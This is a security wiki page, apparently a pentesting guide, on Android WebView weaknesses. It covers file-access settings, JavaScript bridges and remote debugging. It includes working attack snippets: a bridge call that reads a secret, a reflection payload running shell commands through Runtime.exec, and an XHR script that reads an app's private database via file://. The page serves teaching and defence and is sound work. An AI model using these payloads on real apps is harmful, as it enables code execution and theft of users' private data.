# Webview Attacks

## Interesting Configurations

### File Access

_WebView_ file access is enabled by default. Since API 3 \(Cupcake 1.5\) the method [_setAllowFileAccess\(\)_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess%28boolean%29) is available for explicitly enabling or disabling it.  
If the application has _**android.permission.READ\_EXTERNAL\_STORAGE**_ it will be able to read and load files **from the external storage**.  
The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file.

#### Universal Access From File URL \(Deprecated\)

> Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting **allows malicious scripts loaded in a `file://`** context to launch cross-site scripting attacks, either **accessing arbitrary local files** including WebView cookies, app private data or even credentials used on arbitrary web sites.

In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin \(**`Access-Control-Allow-Origin: file://`**\) then the content won't be loaded.  
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#JELLY_BEAN) and above.

* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs%28%29) to know whether JavaScript running in the context of a file scheme URL can access content from any origin \(if UniversalAccessFromFileURL is enabled\).
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs%28boolean%29) to enable/disable it.

{% hint style="info" %}
Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled.
{% endhint %}

#### File Access From File URLs \(Deprecated\) <a id="getAllowFileAccessFromFileURLs()"></a>

> Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a `file://` context to access arbitrary local files including WebView cookies and app private data.

In summary, this prevents javascript to access local files via `file://` protocol.  
Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs%28%29) is `true`.   
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#JELLY_BEAN) and above.

* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs%28%29) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs.
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs%28boolean%29)to enable/disable it.

#### File Access

> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res.

In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol.  
The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#R) and above.

* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess%28%29) to know if the configuration is enabled.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess%28boolean%29) to enable/disable it.

#### WebViewAssetLoader

> Helper class to load local files including application's static assets and resources using http\(s\):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy.

This is new recommended way to load local files. The goal is to **access local files using a HTTP URL with the domain**. This way the **CORS** can be **easily** maintained between the **local** web **pages** and the **web** **pages** that are downloaded from the web server.

### Javascript Enabled

WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled%28boolean%29) is can explicitly enabling or disabling it.   
Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).

### Javascript Bridge

Android offers a way for JavaScript executed in a WebView to call and use **native functions of an Android app** \(annotated with `@JavascriptInterface`\) by using the [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) method. This is known as a _WebView JavaScript bridge_ or _native bridge_.

Please note that **when you use `addJavascriptInterface`, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView**. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.

> Warning: Take extreme care with apps targeting Android versions below Android 4.2 \(API level 17\) as they are [vulnerable to a flaw](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) in the implementation of `addJavascriptInterface`: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default \(instead of only those annotated\).

#### Static Analysis

```javascript
//Class with a method to access a secret
public class JavascriptBridge {
    // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
    // not annotated with @JavascriptInterface are not visible from JavaScript
    @JavascriptInterface
    public String getSecret() {
        return "SuperSecretPassword";
    };
}
```

```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```

```markup
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```

With access to the JavaScript code, via, for example, via stored **XSS,** **MITM** attack or a **malicious** **website** that is loaded inside the WebView, can directly call the exposed Java methods.

{% hint style="info" %}
Note that in the case of trying to exploit this vulnerability via an **Open Redirect to an attackers web page that access the Native Android Objet**. If the access to the redirection is done via a mobile **browser** and **not using** the same **WebView**, the **browser won't be able to access the native Android object**.
{% endhint %}

If `addJavascriptInterface` is necessary, take the following considerations:

* **Only JavaScript provided** with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method \(via `WebView.getUrl`\).
* **No JavaScript should be loaded from remote endpoint**s, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser \(e.g. Chrome, Firefox\).
* If necessary for legacy reasons \(e.g. having to support older devices\), **at least set the minimal API level to 17** in the manifest file of the app \(`<uses-sdk android:minSdkVersion="17" />`\).

### Javascript Bridge to RCE via Reflection

As noted in [**this research** ](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/)\(_check it for ideas in case you obtain RCE_\) ****once you found a JavascriptBridge it may be possible to obtain **RCE** via **Reflection** using a payload like the following one:

```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
  return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```

However modern applications may use the **`@JavascriptInterface` annotation** that indicates to the JavascriptBridge that **only** the method with this annotation should be **exposed**.  
In that scenario, you won't be able to abuse Reflection to execute arbitrary code.

### Remote Debugging

**Renote WebView** **debugging** allow to access the webview with the **Chrome Developer Tools.**  
The **device** needs to be **accessible** by the PC \(via USB, local emulator, local network...\) and running the debuggable WebView, then access **chrome://inspect/\#devices**:

![](../../.gitbook/assets/image%20%28530%29.png)

Select **inspect** and a new window will be opened. In this Windows you can **interact with the content** of the **WebView** and even make it **execute arbitrary JS** code from the **console** tab:

![](../../.gitbook/assets/image%20%28531%29.png)

In order to enable **WebView Remote Debugging** you can do something like:

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}
```

**This setting applies to all of the application's WebViews.**

{% hint style="info" %}
**WebView debugging is not affected by the state of the `debuggable` flag** in the application's manifest. If you want to enable WebView debugging only when `debuggable` is `true`, test the flag at runtime.
{% endhint %}

```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}
```

## Payloads

### Exfiltrate arbitrary files

```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```

## References

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}